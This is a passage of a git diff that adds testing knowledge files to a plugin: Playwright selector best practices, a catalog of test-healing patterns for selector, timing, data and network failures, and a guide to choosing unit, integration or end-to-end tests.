+    await page.getByTestId('add-to-cart-button').click();
+
+    // Implementation: Add data-testid to button component
+    // <button className="bg-blue-500 px-4 py-2 rounded" data-testid="add-to-cart-button">
+  });
+
+  test('refactor: nth() index → filter()', async ({ page }) => {
+    await page.goto('/users');
+
+    // ❌ Before: Index-based (breaks when users reorder)
+    // await page.locator('.user-row').nth(2).click()
+
+    // ✅ After: Content-based filter
+    await page.locator('[data-testid="user-row"]').filter({ hasText: 'john@example.com' }).click();
+  });
+
+  test('refactor: Complex XPath → ARIA role', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ❌ Before: Complex XPath (unreadable, brittle)
+    // await page.locator('xpath=//div[@id="payment"]//form//button[contains(@class, "submit")]').click()
+
+    // ✅ After: ARIA role
+    await page.getByRole('button', { name: 'Complete Payment' }).click();
+  });
+
+  test('refactor: ID selector → data-testid', async ({ page }) => {
+    await page.goto('/settings');
+
+    // ❌ Before: HTML ID (changes with accessibility improvements)
+    // await page.locator('#user-profile-section').getByLabel('Name').fill('John')
+
+    // ✅ After: data-testid + semantic label
+    await page.getByTestId('user-profile-section').getByLabel('Display Name').fill('John Doe');
+  });
+
+  test('refactor: Deeply nested CSS → scoped data-testid', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Before: Deep nesting (breaks with structure changes)
+    // await page.locator('.container .sidebar .menu .item:nth-child(3) a').click()
+
+    // ✅ After: Scoped data-testid
+    const sidebar = page.getByTestId('sidebar');
+    await sidebar.getByRole('link', { name: 'Settings' }).click();
+  });
+});
+```
+
+**Key Points**:
+
+- CSS class → data-testid (survives design system updates)
+- nth() → filter() (content-based vs index-based)
+- Complex XPath → ARIA role (readable, semantic)
+- ID → data-testid (decouples from HTML structure)
+- Deep nesting → scoped locators (modular, maintainable)
+
+---
+
+### Example 3: Selector Best Practices Checklist
+
+```typescript
+// tests/selectors/validation-checklist.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Selector Validation Checklist
+ *
+ * Before committing test, verify selectors meet these criteria:
+ */
+test.describe('Selector Best Practices Validation', () => {
+  test('✅ 1. Prefer data-testid for interactive elements', async ({ page }) => {
+    await page.goto('/login');
+
+    // Interactive elements (buttons, inputs, links) should use data-testid
+    await page.getByTestId('email-input').fill('test@example.com');
+    await page.getByTestId('login-button').click();
+  });
+
+  test('✅ 2. Use ARIA roles for semantic elements', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Semantic elements (headings, navigation, forms) use ARIA
+    await expect(page.getByRole('heading', { name: 'Dashboard' })).toBeVisible();
+    await page.getByRole('navigation').getByRole('link', { name: 'Settings' }).click();
+  });
+
+  test('✅ 3. Avoid CSS classes (except when testing styles)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Never for interaction: page.locator('.btn-primary')
+    // ✅ Only for visual regression: await expect(page.locator('.error-banner')).toHaveCSS('color', 'rgb(255, 0, 0)')
+  });
+
+  test('✅ 4. Use filter() instead of nth() for lists', async ({ page }) => {
+    await page.goto('/orders');
+
+    // List selection should be content-based
+    await page.getByTestId('order-row').filter({ hasText: 'Order #12345' }).click();
+  });
+
+  test('✅ 5. Selectors are human-readable', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ✅ Good: Clear intent
+    await page.getByTestId('shipping-address-form').getByLabel('Street Address').fill('123 Main St');
+
+    // ❌ Bad: Cryptic
+    // await page.locator('div > div:nth-child(2) > input[type="text"]').fill('123 Main St')
+  });
+});
+```
+
+**Validation Rules**:
+
+1. **Interactive elements** (buttons, inputs) → data-testid
+2. **Semantic elements** (headings, nav, forms) → ARIA roles
+3. **CSS classes** → Avoid (except visual regression tests)
+4. **Lists** → filter() over nth() (content-based selection)
+5. **Readability** → Selectors document user intent (clear, semantic)
+
+---
+
+## Selector Resilience Checklist
+
+Before deploying selectors:
+
+- [ ] **Hierarchy followed**: data-testid (1st choice) > ARIA (2nd) > text (3rd) > CSS/ID (last resort)
+- [ ] **Interactive elements use data-testid**: Buttons, inputs, links have dedicated test attributes
+- [ ] **Semantic elements use ARIA**: Headings, navigation, forms use roles and accessible names
+- [ ] **No brittle patterns**: No CSS classes (except visual tests), no arbitrary nth(), no complex XPath
+- [ ] **Dynamic content handled**: Regex for IDs/timestamps, filter() for lists, partial matching for text
+- [ ] **Selectors are scoped**: Use container locators to narrow scope (prevent ambiguity)
+- [ ] **Human-readable**: Selectors document user intent (clear, semantic, maintainable)
+- [ ] **Validated in Inspector**: Test selectors interactively before committing (page.pause())
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (generate tests with robust selectors), `*automate` (healing selector failures), `*test-review` (validate selector quality)
+- **Related fragments**: `test-healing-patterns.md` (selector failure diagnosis), `fixture-architecture.md` (page object alternatives), `test-quality.md` (maintainability standards)
+- **Tools**: Playwright Inspector (Pick Locator), DevTools console, Playwright MCP browser_generate_locator (optional)
+
+_Source: Playwright selector best practices, accessibility guidelines (ARIA), production test maintenance patterns_
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/test-healing-patterns.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/test-healing-patterns.md
new file mode 100644
index 0000000..ce2676d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/test-healing-patterns.md
@@ -0,0 +1,644 @@
+# Test Healing Patterns
+
+## Principle
+
+Common test failures follow predictable patterns (stale selectors, race conditions, dynamic data assertions, network errors, hard waits). **Automated healing** identifies failure signatures and applies pattern-based fixes. Manual healing captures these patterns for future automation.
+
+## Rationale
+
+**The Problem**: Test failures waste developer time on repetitive debugging. Teams manually fix the same selector issues, timing bugs, and data mismatches repeatedly across test suites.
+
+**The Solution**: Catalog common failure patterns with diagnostic signatures and automated fixes. When a test fails, match the error message/stack trace against known patterns and apply the corresponding fix. This transforms test maintenance from reactive debugging to proactive pattern application.
+
+**Why This Matters**:
+
+- Reduces test maintenance time by 60-80% (pattern-based fixes vs manual debugging)
+- Prevents flakiness regression (same bug fixed once, applied everywhere)
+- Builds institutional knowledge (failure catalog grows over time)
+- Enables self-healing test suites (automate workflow validates and heals)
+
+## Pattern Examples
+
+### Example 1: Common Failure Pattern - Stale Selectors (Element Not Found)
+
+**Context**: Test fails with "Element not found" or "Locator resolved to 0 elements" errors
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/selector-healing.ts
+
+export type SelectorFailure = {
+  errorMessage: string;
+  stackTrace: string;
+  selector: string;
+  testFile: string;
+  lineNumber: number;
+};
+
+/**
+ * Detect stale selector failures
+ */
+export function isSelectorFailure(error: Error): boolean {
+  const patterns = [
+    /locator.*resolved to 0 elements/i,
+    /element not found/i,
+    /waiting for locator.*to be visible/i,
+    /selector.*did not match any elements/i,
+    /unable to find element/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Extract selector from error message
+ */
+export function extractSelector(errorMessage: string): string | null {
+  // Playwright: "locator('button[type=\"submit\"]') resolved to 0 elements"
+  const playwrightMatch = errorMessage.match(/locator\('([^']+)'\)/);
+  if (playwrightMatch) return playwrightMatch[1];
+
+  // Cypress: "Timed out retrying: Expected to find element: '.submit-button'"
+  const cypressMatch = errorMessage.match(/Expected to find element: ['"]([^'"]+)['"]/i);
+  if (cypressMatch) return cypressMatch[1];
+
+  return null;
+}
+
+/**
+ * Suggest better selector based on hierarchy
+ */
+export function suggestBetterSelector(badSelector: string): string {
+  // If using CSS class → suggest data-testid
+  if (badSelector.startsWith('.') || badSelector.includes('class=')) {
+    const elementName = badSelector.match(/class=["']([^"']+)["']/)?.[1] || badSelector.slice(1);
+    return `page.getByTestId('${elementName}') // Prefer data-testid over CSS class`;
+  }
+
+  // If using ID → suggest data-testid
+  if (badSelector.startsWith('#')) {
+    return `page.getByTestId('${badSelector.slice(1)}') // Prefer data-testid over ID`;
+  }
+
+  // If using nth() → suggest filter() or more specific selector
+  if (badSelector.includes('.nth(')) {
+    return `page.locator('${badSelector.split('.nth(')[0]}').filter({ hasText: 'specific text' }) // Avoid brittle nth(), use filter()`;
+  }
+
+  // If using complex CSS → suggest ARIA role
+  if (badSelector.includes('>') || badSelector.includes('+')) {
+    return `page.getByRole('button', { name: 'Submit' }) // Prefer ARIA roles over complex CSS`;
+  }
+
+  return `page.getByTestId('...') // Add data-testid attribute to element`;
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/selector-healing.spec.ts
+import { test, expect } from '@playwright/test';
+import { isSelectorFailure, extractSelector, suggestBetterSelector } from '../../src/testing/healing/selector-healing';
+
+test('heal stale selector failures automatically', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  try {
+    // Original test with brittle CSS selector
+    await page.locator('.btn-primary').click();
+  } catch (error: any) {
+    if (isSelectorFailure(error)) {
+      const badSelector = extractSelector(error.message);
+      const suggestion = badSelector ? suggestBetterSelector(badSelector) : null;
+
+      console.log('HEALING SUGGESTION:', suggestion);
+
+      // Apply healed selector
+      await page.getByTestId('submit-button').click(); // Fixed!
+    } else {
+      throw error; // Not a selector issue, rethrow
+    }
+  }
+
+  await expect(page.getByText('Success')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message contains "locator resolved to 0 elements" or "element not found"
+- Fix: Replace brittle selector (CSS class, ID, nth) with robust alternative (data-testid, ARIA role)
+- Prevention: Follow selector hierarchy (data-testid > ARIA > text > CSS)
+- Automation: Pattern matching on error message + stack trace
+
+---
+
+### Example 2: Common Failure Pattern - Race Conditions (Timing Errors)
+
+**Context**: Test fails with "timeout waiting for element" or "element not visible" errors
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/timing-healing.ts
+
+export type TimingFailure = {
+  errorMessage: string;
+  testFile: string;
+  lineNumber: number;
+  actionType: 'click' | 'fill' | 'waitFor' | 'expect';
+};
+
+/**
+ * Detect race condition failures
+ */
+export function isTimingFailure(error: Error): boolean {
+  const patterns = [
+    /timeout.*waiting for/i,
+    /element is not visible/i,
+    /element is not attached to the dom/i,
+    /waiting for element to be visible.*exceeded/i,
+    /timed out retrying/i,
+    /waitForLoadState.*timeout/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Detect hard wait anti-pattern
+ */
+export function hasHardWait(testCode: string): boolean {
+  const hardWaitPatterns = [/page\.waitForTimeout\(/, /cy\.wait\(\d+\)/, /await.*sleep\(/, /setTimeout\(/];
+
+  return hardWaitPatterns.some((pattern) => pattern.test(testCode));
+}
+
+/**
+ * Suggest deterministic wait replacement
+ */
+export function suggestDeterministicWait(testCode: string): string {
+  if (testCode.includes('page.waitForTimeout')) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+// await page.waitForTimeout(3000)
+
+// ✅ Good: Wait for network response
+await page.waitForResponse(resp => resp.url().includes('/api/data') && resp.status() === 200)
+
+// OR wait for element state
+await page.getByTestId('loading-spinner').waitFor({ state: 'detached' })
+    `.trim();
+  }
+
+  if (testCode.includes('cy.wait(') && /cy\.wait\(\d+\)/.test(testCode)) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+// cy.wait(3000)
+
+// ✅ Good: Wait for aliased network request
+cy.intercept('GET', '/api/data').as('getData')
+cy.visit('/page')
+cy.wait('@getData')
+    `.trim();
+  }
+
+  return `
+// Add network-first interception BEFORE navigation:
+await page.route('**/api/**', route => route.continue())
+const responsePromise = page.waitForResponse('**/api/data')
+await page.goto('/page')
+await responsePromise
+  `.trim();
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/timing-healing.spec.ts
+import { test, expect } from '@playwright/test';
+import { isTimingFailure, hasHardWait, suggestDeterministicWait } from '../../src/testing/healing/timing-healing';
+
+test('heal race condition with network-first pattern', async ({ page, context }) => {
+  // Setup interception BEFORE navigation (prevent race)
+  await context.route('**/api/products', (route) => {
+    route.fulfill({
+      status: 200,
+      body: JSON.stringify({ products: [{ id: 1, name: 'Product A' }] }),
+    });
+  });
+
+  const responsePromise = page.waitForResponse('**/api/products');
+
+  await page.goto('/products');
+  await responsePromise; // Deterministic wait
+
+  // Element now reliably visible (no race condition)
+  await expect(page.getByText('Product A')).toBeVisible();
+});
+
+test('heal hard wait with event-based wait', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (flaky): await page.waitForTimeout(3000)
+
+  // ✅ Healed: Wait for spinner to disappear
+  await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+  // Element now reliably visible
+  await expect(page.getByText('Dashboard loaded')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error contains "timeout" or "not visible", often after navigation
+- Fix: Replace hard waits with network-first pattern or element state waits
+- Prevention: ALWAYS intercept before navigate, use waitForResponse()
+- Automation: Detect `page.waitForTimeout()` or `cy.wait(number)` in test code
+
+---
+
+### Example 3: Common Failure Pattern - Dynamic Data Assertions (Non-Deterministic IDs)
+
+**Context**: Test fails with "Expected 'User 123' but received 'User 456'" or timestamp mismatches
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/data-healing.ts
+
+export type DataFailure = {
+  errorMessage: string;
+  expectedValue: string;
+  actualValue: string;
+  testFile: string;
+  lineNumber: number;
+};
+
+/**
+ * Detect dynamic data assertion failures
+ */
+export function isDynamicDataFailure(error: Error): boolean {
+  const patterns = [
+    /expected.*\d+.*received.*\d+/i, // ID mismatches
+    /expected.*\d{4}-\d{2}-\d{2}.*received/i, // Date mismatches
+    /expected.*user.*\d+/i, // Dynamic user IDs
+    /expected.*order.*\d+/i, // Dynamic order IDs
+    /expected.*to.*contain.*\d+/i, // Numeric assertions
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Suggest flexible assertion pattern
+ */
+export function suggestFlexibleAssertion(errorMessage: string): string {
+  if (/expected.*user.*\d+/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded ID
+// await expect(page.getByText('User 123')).toBeVisible()
+
+// ✅ Good: Regex pattern for any user ID
+await expect(page.getByText(/User \\d+/)).toBeVisible()
+
+// OR use partial match
+await expect(page.locator('[data-testid="user-name"]')).toContainText('User')
+    `.trim();
+  }
+
+  if (/expected.*\d{4}-\d{2}-\d{2}/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded date
+// await expect(page.getByText('2024-01-15')).toBeVisible()
+
+// ✅ Good: Dynamic date validation
+const today = new Date().toISOString().split('T')[0]
+await expect(page.getByTestId('created-date')).toHaveText(today)
+
+// OR use date format regex
+await expect(page.getByTestId('created-date')).toHaveText(/\\d{4}-\\d{2}-\\d{2}/)
+    `.trim();
+  }
+
+  if (/expected.*order.*\d+/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded order ID
+// const orderId = '12345'
+
+// ✅ Good: Capture dynamic order ID
+const orderText = await page.getByTestId('order-id').textContent()
+const orderId = orderText?.match(/Order #(\\d+)/)?.[1]
+expect(orderId).toBeTruthy()
+
+// Use captured ID in later assertions
+await expect(page.getByText(\`Order #\${orderId} confirmed\`)).toBeVisible()
+    `.trim();
+  }
+
+  return `Use regex patterns, partial matching, or capture dynamic values instead of hardcoding`;
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/data-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal dynamic ID assertion with regex', async ({ page }) => {
+  await page.goto('/users');
+
+  // ❌ Original (fails with random IDs): await expect(page.getByText('User 123')).toBeVisible()
+
+  // ✅ Healed: Regex pattern matches any user ID
+  await expect(page.getByText(/User \d+/)).toBeVisible();
+});
+
+test('heal timestamp assertion with dynamic generation', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (fails daily): await expect(page.getByText('2024-01-15')).toBeVisible()
+
+  // ✅ Healed: Generate expected date dynamically
+  const today = new Date().toISOString().split('T')[0];
+  await expect(page.getByTestId('last-updated')).toContainText(today);
+});
+
+test('heal order ID assertion with capture', async ({ page, request }) => {
+  // Create order via API (dynamic ID)
+  const response = await request.post('/api/orders', {
+    data: { productId: '123', quantity: 1 },
+  });
+  const { orderId } = await response.json();
+
+  // ✅ Healed: Use captured dynamic ID
+  await page.goto(`/orders/${orderId}`);
+  await expect(page.getByText(`Order #${orderId}`)).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message shows expected vs actual value mismatch with IDs/timestamps
+- Fix: Use regex patterns (`/User \d+/`), partial matching, or capture dynamic values
+- Prevention: Never hardcode IDs, timestamps, or random data in assertions
+- Automation: Parse error message for expected/actual values, suggest regex patterns
+
+---
+
+### Example 4: Common Failure Pattern - Network Errors (Missing Route Interception)
+
+**Context**: Test fails with "API call failed" or "500 error" during test execution
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/network-healing.ts
+
+export type NetworkFailure = {
+  errorMessage: string;
+  url: string;
+  statusCode: number;
+  method: string;
+};
+
+/**
+ * Detect network failure
+ */
+export function isNetworkFailure(error: Error): boolean {
+  const patterns = [
+    /api.*call.*failed/i,
+    /request.*failed/i,
+    /network.*error/i,
+    /500.*internal server error/i,
+    /503.*service unavailable/i,
+    /fetch.*failed/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Suggest route interception
+ */
+export function suggestRouteInterception(url: string, method: string): string {
+  return `
+// ❌ Bad: Real API call (unreliable, slow, external dependency)
+
+// ✅ Good: Mock API response with route interception
+await page.route('${url}', route => {
+  route.fulfill({
+    status: 200,
+    contentType: 'application/json',
+    body: JSON.stringify({
+      // Mock response data
+      id: 1,
+      name: 'Test User',
+      email: 'test@example.com'
+    })
+  })
+})
+
+// Then perform action
+await page.goto('/page')
+  `.trim();
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/network-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal network failure with route mocking', async ({ page, context }) => {
+  // ✅ Healed: Mock API to prevent real network calls
+  await context.route('**/api/products', (route) => {
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({
+        products: [
+          { id: 1, name: 'Product A', price: 29.99 },
+          { id: 2, name: 'Product B', price: 49.99 },
+        ],
+      }),
+    });
+  });
+
+  await page.goto('/products');
+
+  // Test now reliable (no external API dependency)
+  await expect(page.getByText('Product A')).toBeVisible();
+  await expect(page.getByText('$29.99')).toBeVisible();
+});
+
+test('heal 500 error with error state mocking', async ({ page, context }) => {
+  // Mock API failure scenario
+  await context.route('**/api/products', (route) => {
+    route.fulfill({ status: 500, body: JSON.stringify({ error: 'Internal Server Error' }) });
+  });
+
+  await page.goto('/products');
+
+  // Verify error handling (not crash)
+  await expect(page.getByText('Unable to load products')).toBeVisible();
+  await expect(page.getByRole('button', { name: 'Retry' })).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message contains "API call failed", "500 error", or network-related failures
+- Fix: Add `page.route()` or `cy.intercept()` to mock API responses
+- Prevention: Mock ALL external dependencies (APIs, third-party services)
+- Automation: Extract URL from error message, generate route interception code
+
+---
+
+### Example 5: Common Failure Pattern - Hard Waits (Unreliable Timing)
+
+**Context**: Test fails intermittently with "timeout exceeded" or passes/fails randomly
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/hard-wait-healing.ts
+
+/**
+ * Detect hard wait anti-pattern in test code
+ */
+export function detectHardWaits(testCode: string): Array<{ line: number; code: string }> {
+  const lines = testCode.split('\n');
+  const violations: Array<{ line: number; code: string }> = [];
+
+  lines.forEach((line, index) => {
+    if (line.includes('page.waitForTimeout(') || /cy\.wait\(\d+\)/.test(line) || line.includes('sleep(') || line.includes('setTimeout(')) {
+      violations.push({ line: index + 1, code: line.trim() });
+    }
+  });
+
+  return violations;
+}
+
+/**
+ * Suggest event-based wait replacement
+ */
+export function suggestEventBasedWait(hardWaitLine: string): string {
+  if (hardWaitLine.includes('page.waitForTimeout')) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+${hardWaitLine}
+
+// ✅ Good: Wait for network response
+await page.waitForResponse(resp => resp.url().includes('/api/') && resp.ok())
+
+// OR wait for element state change
+await page.getByTestId('loading-spinner').waitFor({ state: 'detached' })
+await page.getByTestId('content').waitFor({ state: 'visible' })
+    `.trim();
+  }
+
+  if (/cy\.wait\(\d+\)/.test(hardWaitLine)) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+${hardWaitLine}
+
+// ✅ Good: Wait for aliased request
+cy.intercept('GET', '/api/data').as('getData')
+cy.visit('/page')
+cy.wait('@getData') // Deterministic
+    `.trim();
+  }
+
+  return 'Replace hard waits with event-based waits (waitForResponse, waitFor state changes)';
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/hard-wait-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal hard wait with deterministic wait', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (flaky): await page.waitForTimeout(3000)
+
+  // ✅ Healed: Wait for loading spinner to disappear
+  await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+  // OR wait for specific network response
+  await page.waitForResponse((resp) => resp.url().includes('/api/dashboard') && resp.ok());
+
+  await expect(page.getByText('Dashboard ready')).toBeVisible();
+});
+
+test('heal implicit wait with explicit network wait', async ({ page }) => {
+  const responsePromise = page.waitForResponse('**/api/products');
+
+  await page.goto('/products');
+
+  // ❌ Original (race condition): await page.getByText('Product A').click()
+
+  // ✅ Healed: Wait for network first
+  await responsePromise;
+  await page.getByText('Product A').click();
+
+  await expect(page).toHaveURL(/\/products\/\d+/);
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Test code contains `page.waitForTimeout()` or `cy.wait(number)`
+- Fix: Replace with `waitForResponse()`, `waitFor({ state })`, or aliased intercepts
+- Prevention: NEVER use hard waits, always use event-based/response-based waits
+- Automation: Scan test code for hard wait patterns, suggest deterministic replacements
+
+---
+
+## Healing Pattern Catalog
+
+| Failure Type   | Diagnostic Signature                          | Healing Strategy                      | Prevention Pattern                        |
+| -------------- | --------------------------------------------- | ------------------------------------- | ----------------------------------------- |
+| Stale Selector | "locator resolved to 0 elements"              | Replace with data-testid or ARIA role | Selector hierarchy (testid > ARIA > text) |
+| Race Condition | "timeout waiting for element"                 | Add network-first interception        | Intercept before navigate                 |
+| Dynamic Data   | "Expected 'User 123' but got 'User 456'"      | Use regex or capture dynamic values   | Never hardcode IDs/timestamps             |
+| Network Error  | "API call failed", "500 error"                | Add route mocking                     | Mock all external dependencies            |
+| Hard Wait      | Test contains `waitForTimeout()` or `wait(n)` | Replace with event-based waits        | Always use deterministic waits            |
+
+## Healing Workflow
+
+1. **Run test** → Capture failure
+2. **Identify pattern** → Match error against diagnostic signatures
+3. **Apply fix** → Use pattern-based healing strategy
+4. **Re-run test** → Validate fix (max 3 iterations)
+5. **Mark unfixable** → Use `test.fixme()` if healing fails after 3 attempts
+
+## Healing Checklist
+
+Before enabling auto-healing in workflows:
+
+- [ ] **Failure catalog documented**: Common patterns identified (selectors, timing, data, network, hard waits)
+- [ ] **Diagnostic signatures defined**: Error message patterns for each failure type
+- [ ] **Healing strategies documented**: Fix patterns for each failure type
+- [ ] **Prevention patterns documented**: Best practices to avoid recurrence
+- [ ] **Healing iteration limit set**: Max 3 attempts before marking test.fixme()
+- [ ] **MCP integration optional**: Graceful degradation without Playwright MCP
+- [ ] **Pattern-based fallback**: Use knowledge base patterns when MCP unavailable
+- [ ] **Healing report generated**: Document what was healed and how
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (auto-healing after test generation), `*atdd` (optional healing for acceptance tests)
+- **Related fragments**: `selector-resilience.md` (selector debugging), `timing-debugging.md` (race condition fixes), `network-first.md` (interception patterns), `data-factories.md` (dynamic data handling)
+- **Tools**: Error message parsing, AST analysis for code patterns, Playwright MCP (optional), pattern matching
+
+_Source: Playwright test-healer patterns, production test failure analysis, common anti-patterns from test-resources-for-ai_
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/test-levels-framework.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/test-levels-framework.md
new file mode 100644
index 0000000..ed3418a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/test-levels-framework.md
@@ -0,0 +1,473 @@
+<!-- Powered by BMAD-CORE™ -->
+
+# Test Levels Framework
+
+Comprehensive guide for determining appropriate test levels (unit, integration, E2E) for different scenarios.
+
+## Test Level Decision Matrix
+
+### Unit Tests
+
+**When to use:**
+
+- Testing pure functions and business logic
+- Algorithm correctness
+- Input validation and data transformation
+- Error handling in isolated components
+- Complex calculations or state machines
+
+**Characteristics:**
+
+- Fast execution (immediate feedback)
+- No external dependencies (DB, API, file system)
+- Highly maintainable and stable
+- Easy to debug failures
+
+**Example scenarios:**
+
+```yaml
+unit_test:
+  component: 'PriceCalculator'
+  scenario: 'Calculate discount with multiple rules'
+  justification: 'Complex business logic with multiple branches'
+  mock_requirements: 'None - pure function'
+```
+
+### Integration Tests
+
+**When to use:**
+
+- Component interaction verification
+- Database operations and transactions
+- API endpoint contracts
+- Service-to-service communication
+- Middleware and interceptor behavior
+
+**Characteristics:**
+
+- Moderate execution time
+- Tests component boundaries
+- May use test databases or containers
+- Validates system integration points
+
+**Example scenarios:**
+
+```yaml
+integration_test:
+  components: ['UserService', 'AuthRepository']
+  scenario: 'Create user with role assignment'
+  justification: 'Critical data flow between service and persistence'
+  test_environment: 'In-memory database'
+```
+
+### End-to-End Tests
+
+**When to use:**
+
+- Critical user journeys
+- Cross-system workflows
+- Visual regression testing
+- Compliance and regulatory requirements
+- Final validation before release
+
+**Characteristics:**
+
+- Slower execution
+- Tests complete workflows
+- Requires full environment setup
+- Most realistic but most brittle
+
+**Example scenarios:**
+
+```yaml
+e2e_test:
+  journey: 'Complete checkout process'
+  scenario: 'User purchases with saved payment method'
+  justification: 'Revenue-critical path requiring full validation'
+  environment: 'Staging with test payment gateway'
+```
+
+## Test Level Selection Rules
+
+### Favor Unit Tests When:
+
+- Logic can be isolated
+- No side effects involved
+- Fast feedback needed
+- High cyclomatic complexity
+
+### Favor Integration Tests When:
+
+- Testing persistence layer
+- Validating service contracts
+- Testing middleware/interceptors
+- Component boundaries critical
+
+### Favor E2E Tests When:
+
+- User-facing critical paths
+- Multi-system interactions
+- Regulatory compliance scenarios
+- Visual regression important
+
+## Anti-patterns to Avoid
+
+- E2E testing for business logic validation
+- Unit testing framework behavior
+- Integration testing third-party libraries
+- Duplicate coverage across levels
+
+## Duplicate Coverage Guard
+
+**Before adding any test, check:**
+
+1. Is this already tested at a lower level?
+2. Can a unit test cover this instead of integration?
+3. Can an integration test cover this instead of E2E?
+
+**Coverage overlap is only acceptable when:**
+
+- Testing different aspects (unit: logic, integration: interaction, e2e: user experience)
+- Critical paths requiring defense in depth
+- Regression prevention for previously broken functionality
+
+## Test Naming Conventions
+
+- Unit: `test_{component}_{scenario}`
+- Integration: `test_{flow}_{interaction}`
+- E2E: `test_{journey}_{outcome}`
+
+## Test ID Format
+
+`{EPIC}.{STORY}-{LEVEL}-{SEQ}`
+
+Examples:
+
+- `1.3-UNIT-001`
+- `1.3-INT-002`
+- `1.3-E2E-001`
+
+## Real Code Examples
+
+### Example 1: E2E Test (Full User Journey)
+
+**Scenario**: User logs in, navigates to dashboard, and places an order.
+
+```typescript
+// tests/e2e/checkout-flow.spec.ts
+import { test, expect } from '@playwright/test';
+import { createUser, createProduct } from '../test-utils/factories';
+
+test.describe('Checkout Flow', () => {
+  test('user can complete purchase with saved payment method', async ({ page, apiRequest }) => {
+    // Setup: Seed data via API (fast!)
+    const user = createUser({ email: 'buyer@example.com', hasSavedCard: true });
+    const product = createProduct({ name: 'Widget', price: 29.99, stock: 10 });
+
+    await apiRequest.post('/api/users', { data: user });
+    await apiRequest.post('/api/products', { data: product });
+
+    // Network-first: Intercept BEFORE action
+    const loginPromise = page.waitForResponse('**/api/auth/login');
+    const cartPromise = page.waitForResponse('**/api/cart');
+    const orderPromise = page.waitForResponse('**/api/orders');
+
+    // Step 1: Login
+    await page.goto('/login');
+    await page.fill('[data-testid="email"]', user.email);
+    await page.fill('[data-testid="password"]', 'password123');
+    await page.click('[data-testid="login-button"]');
+    await loginPromise;
+
+    // Assert: Dashboard visible
+    await expect(page).toHaveURL('/dashboard');
+    await expect(page.getByText(`Welcome, ${user.name}`)).toBeVisible();
+
+    // Step 2: Add product to cart
+    await page.goto(`/products/${product.id}`);
+    await page.click('[data-testid="add-to-cart"]');
+    await cartPromise;
+    await expect(page.getByText('Added to cart')).toBeVisible();
+
+    // Step 3: Checkout with saved payment
+    await page.goto('/checkout');
+    await expect(page.getByText('Visa ending in 1234')).toBeVisible(); // Saved card
+    await page.click('[data-testid="use-saved-card"]');
+    await page.click('[data-testid="place-order"]');
+    await orderPromise;
+
+    // Assert: Order confirmation
+    await expect(page.getByText('Order Confirmed')).toBeVisible();
+    await expect(page.getByText(/Order #\d+/)).toBeVisible();
+    await expect(page.getByText('$29.99')).toBeVisible();
+  });
+});
+```
+
+**Key Points (E2E)**:
+
+- Tests complete user journey across multiple pages
+- API setup for data (fast), UI for assertions (user-centric)
+- Network-first interception to prevent flakiness
+- Validates critical revenue path end-to-end
+
+### Example 2: Integration Test (API/Service Layer)
+
+**Scenario**: UserService creates user and assigns role via AuthRepository.
+
+```typescript
+// tests/integration/user-service.spec.ts
+import { test, expect } from '@playwright/test';
+import { createUser } from '../test-utils/factories';
+
+test.describe('UserService Integration', () => {
+  test('should create user with admin role via API', async ({ request }) => {
+    const userData = createUser({ role: 'admin' });
+
+    // Direct API call (no UI)
+    const response = await request.post('/api/users', {
+      data: userData,
+    });
+
+    expect(response.status()).toBe(201);
+
+    const createdUser = await response.json();
+    expect(createdUser.id).toBeTruthy();
